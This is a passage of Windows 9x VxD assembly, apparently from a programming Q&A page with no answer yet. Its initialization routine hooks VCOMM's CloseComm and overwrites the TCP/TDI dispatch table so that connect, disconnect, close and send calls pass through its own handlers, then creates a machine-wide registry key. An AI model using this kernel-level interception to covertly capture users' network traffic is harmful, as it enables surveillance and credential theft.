GetVxDServiceOrdinal eax, _VCOMM_CloseComm
mov esi, offset32 CloseComm_Hook
VMMcall Hook_Device_Service
jc Abort
; Make sure VTDI is present
VxDcall VTDI_Get_Version
jc Abort
; Get a pointer to the TCP dispatch table
push offset32 TCPName
VxDcall VTDI_Get_Info
add esp, 4
mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable
; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
mov ebx, [eax+0Ch]
mov TdiCloseConnection_PrevAddr, ebx
mov [eax+0Ch], offset32 TdiCloseConnection_Hook
mov ebx, [eax+18h]
mov TdiConnect_PrevAddr, ebx
mov [eax+18h], offset32 TdiConnect_Hook
mov ebx, [eax+1Ch]
mov TdiDisconnect_PrevAddr, ebx
mov [eax+1Ch], offset32 TdiDisconnect_Hook
mov ebx, [eax+2Ch]
mov TdiSend_PrevAddr, ebx
mov [eax+2Ch], offset32 TdiSend_Hook
; Create/Open our key
push offset32 hOurKey ; phKey
push offset32 OurKey ; SubKey
push HKEY_LOCAL_MACHINE
VMMCall _RegCreateKey ; Create/open "our" key
add esp, 0Ch ; Clean after VMMCall
or eax, eax ; cmp eax, ERROR_SUCCESS
jnz Abort
jmp Device_Init_End
Abort:
mov Disable, 1 ; Disable hook operation
Device_Init_End:
popad ; restore registers on stack
popfd ; restore flags on stack
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
END
SOLUTION
Nothing yet.